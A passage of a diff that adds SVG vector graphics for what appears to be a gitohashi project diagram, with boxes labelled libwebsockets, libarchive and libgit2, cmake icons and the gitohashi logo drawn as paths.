+				<path d="m-2.9675 412.94-2.9706 6.0717h5.9738z" fill="none" stroke="#000" stroke-width=".05737"/>
+				<path d="m-2.649 417.88-0.32316-4.9166" fill="none" stroke="#000" stroke-width=".032644px"/>
+			</g>
+		</g>
+		<rect x="-47.408" y="-408.72" width="39.617" height="13.331" fill="#008000" fill-opacity=".95455" stroke="#000" stroke-linejoin="round" stroke-opacity=".94628" stroke-width=".88847"/>
+		<g>
+			<text x="-27.2822" y="-400.82877" fill="#ffffff" font-family="'Open Sans'" font-size="5.0715px" letter-spacing="0px" stroke-width=".63394" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-27.2822" y="-400.82877" fill="#ffffff" font-family="'Open Sans'" stroke-width=".63394">libwebsockets</tspan></text>
+			<rect x="-4.3916" y="-408.99" width="27.414" height="13.477" fill="#9aff98" stroke="#000" stroke-linejoin="round" stroke-opacity=".94628" stroke-width=".7431"/>
+			<text x="9.165143" y="-400.46484" fill="#000000" font-family="'Open Sans'" font-size="5.0715px" letter-spacing="0px" stroke-width=".63394" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="9.165143" y="-400.46484" fill="#000000" font-family="'Open Sans'" stroke-width=".63394">libarchive</tspan></text>
+			<rect x="26.94" y="-409.1" width="24.461" height="13.517" fill="#9aff98" stroke="#000" stroke-linejoin="round" stroke-opacity=".94628" stroke-width=".70298"/>
+			<text x="39.206753" y="-400.74548" fill="#000000" font-family="'Open Sans'" font-size="5.0715px" letter-spacing="0px" stroke-width=".63394" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="39.206753" y="-400.74548" fill="#000000" font-family="'Open Sans'" stroke-width=".63394">libgit2</tspan></text>
+		</g>
+		<g transform="matrix(.87389 0 0 .87389 -79.653 -791.47)">
+			<circle cx="79.782" cy="438.91" r="4.9835" fill="#fff6d5" fill-opacity=".97521" stroke="#000" stroke-linejoin="round" stroke-width=".35389"/>
+			<text x="79.842163" y="442.10245" fill="#000000" font-family="'Open Sans'" font-size="1.8486px" letter-spacing="0px" stroke-width=".23107" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="79.842163" y="442.10245" stroke-width=".23107">cmake</tspan></text>
+			<g transform="matrix(.87335 0 0 .87335 82.375 74.143)">
+				<g>
+					<path d="m-2.9592 412.95-2.979 6.0355 3.2085-2.7006z" fill="url(#f)"/>
+					<path d="m-2.9606 412.96 2.9776 6.0245-2.6573-1.1026z" fill="url(#e)"/>
+					<path d="m-3.9762 417.33 4.0341 1.6768-6.0192 8e-3z" fill="url(#d)"/>
+					<path d="m-2.6494 417.88 2.6605 1.095-0.065289-0.13873-2.5919-1.0753z" fill="url(#c)"/>
+				</g>
+				<path d="m-2.9675 412.94-2.9706 6.0717h5.9738z" fill="none" stroke="#000" stroke-width=".05737"/>
+				<path d="m-2.649 417.88-0.32316-4.9166" fill="none" stroke="#000" stroke-width=".032644px"/>
+			</g>
+		</g>
+		<g transform="matrix(.87389 0 0 .87389 -18.683 -791.58)">
+			<circle cx="79.782" cy="438.91" r="4.9835" fill="#fff6d5" fill-opacity=".97521" stroke="#000" stroke-linejoin="round" stroke-width=".35389"/>
+			<text x="79.842163" y="442.10245" fill="#000000" font-family="'Open Sans'" font-size="1.8486px" letter-spacing="0px" stroke-width=".23107" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="79.842163" y="442.10245" stroke-width=".23107">cmake</tspan></text>
+			<g transform="matrix(.87335 0 0 .87335 82.375 74.143)">
+				<g>
+					<path d="m-2.9592 412.95-2.979 6.0355 3.2085-2.7006z" fill="url(#f)"/>
+					<path d="m-2.9606 412.96 2.9776 6.0245-2.6573-1.1026z" fill="url(#e)"/>
+					<path d="m-3.9762 417.33 4.0341 1.6768-6.0192 8e-3z" fill="url(#d)"/>
+					<path d="m-2.6494 417.88 2.6605 1.095-0.065289-0.13873-2.5919-1.0753z" fill="url(#c)"/>
+				</g>
+				<path d="m-2.9675 412.94-2.9706 6.0717h5.9738z" fill="none" stroke="#000" stroke-width=".05737"/>
+				<path d="m-2.649 417.88-0.32316-4.9166" fill="none" stroke="#000" stroke-width=".032644px"/>
+			</g>
+		</g>
+		<g>
+			<path d="m59.745-453.59 4.0881-10.448 0.75845 5.5734-3.814 11.158z" fill="url(#i)"/>
+			<text x="11.626454" y="-426.9545" dominant-baseline="auto" fill="#000000" font-family="'Open Sans'" font-size="2.1167px" letter-spacing="0px" stroke-width=".26458" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;line-height:1.25;shape-padding:0;text-decoration-color:#000000;text-decoration-line:none;text-decoration-style:solid;text-indent:0;text-orientation:mixed;text-transform:none;white-space:normal" xml:space="preserve"><tspan x="11.626454" y="-426.9545" stroke-width=".26458">(part of gitohashi)</tspan></text>
+			<g transform="matrix(3.2533 -.0045713 .0045713 3.2533 -89.586 -861.44)" fill="#fff" filter="url(#ak)" stroke="#fff" stroke-width=".075" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="gitohashi">
+				<path d="m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z"/>
+				<path d="m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+				<path d="m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z"/>
+				<path d="m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z"/>
+				<path d="m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+				<path d="m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z"/>
+				<path d="m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z"/>
+				<path d="m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+				<path d="m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+			</g>
+		</g>
+		<g transform="matrix(3.2533 0 0 3.2533 -88.63 -871.26)">
+			<g transform="matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)">
+				<g transform="rotate(-9.1961 290.54 412.25)" fill="#4d4d4d">
+					<path d="m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z"/>
+					<path d="m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/>
+				</g>
+				<ellipse cx="289.7" cy="412.83" rx=".063066" ry=".059428" fill="url(#g)"/>
+			</g>
+			<path d="m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z" fill="url(#h)"/>
+			<path d="m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z" fill="#42484c" fill-opacity=".72157"/>
+			<text transform="rotate(-7.0969)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".016811">gitohashi</tspan></text>
+			<text transform="rotate(-7.0969)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".016811">gitohashi</tspan></text>
+		</g>
+		<g transform="matrix(3.2318 -.37344 .37344 3.2318 -133.43 -863.51)">
+			<g transform="matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)">
+				<g transform="rotate(-9.1961 290.54 412.25)" fill="#4d4d4d">
+					<path d="m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z"/>
+					<path d="m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/>
+				</g>
+				<ellipse cx="289.7" cy="412.83" rx=".063066" ry=".059428" fill="url(#g)"/>
+			</g>
+			<path d="m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z" fill="url(#h)"/>
+			<path d="m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z" fill="#42484c" fill-opacity=".72157"/>
+			<text transform="rotate(-7.0969)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".016811">gitohashi</tspan></text>
+			<text transform="rotate(-7.0969)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".016811">gitohashi</tspan></text>
+		</g>
+		<g>
+			<g transform="matrix(3.2533 -.0045713 .0045713 3.2533 -89.572 -861.43)" stroke-width=".13209" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="gitohashi">
+				<g stroke-width=".13209">
+					<path d="m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z"/>
+					<path d="m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+					<path d="m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z"/>
+				</g>
+				<g fill="#800000">
+					<path d="m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z"/>
+					<path d="m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+					<path d="m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z"/>
+					<path d="m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z"/>
+					<path d="m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+					<path d="m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+				</g>
+			</g>
+			<g transform="matrix(6.9687 -.0097919 .0097919 6.9687 -106.86 -1286.6)" fill="#fff" filter="url(#aj)" stroke="#fff" stroke-width=".075" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="gitohashi">
+				<path d="m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z"/>
+				<path d="m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+				<path d="m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z"/>
+				<path d="m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z"/>
+				<path d="m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+				<path d="m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z"/>
+				<path d="m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z"/>
+				<path d="m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+				<path d="m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+			</g>
+			<g transform="matrix(6.9687 -.0097919 .0097919 6.9687 -106.83 -1286.6)" stroke-width=".13209" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="gitohashi">
+				<g stroke-width=".13209">
+					<path d="m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z"/>
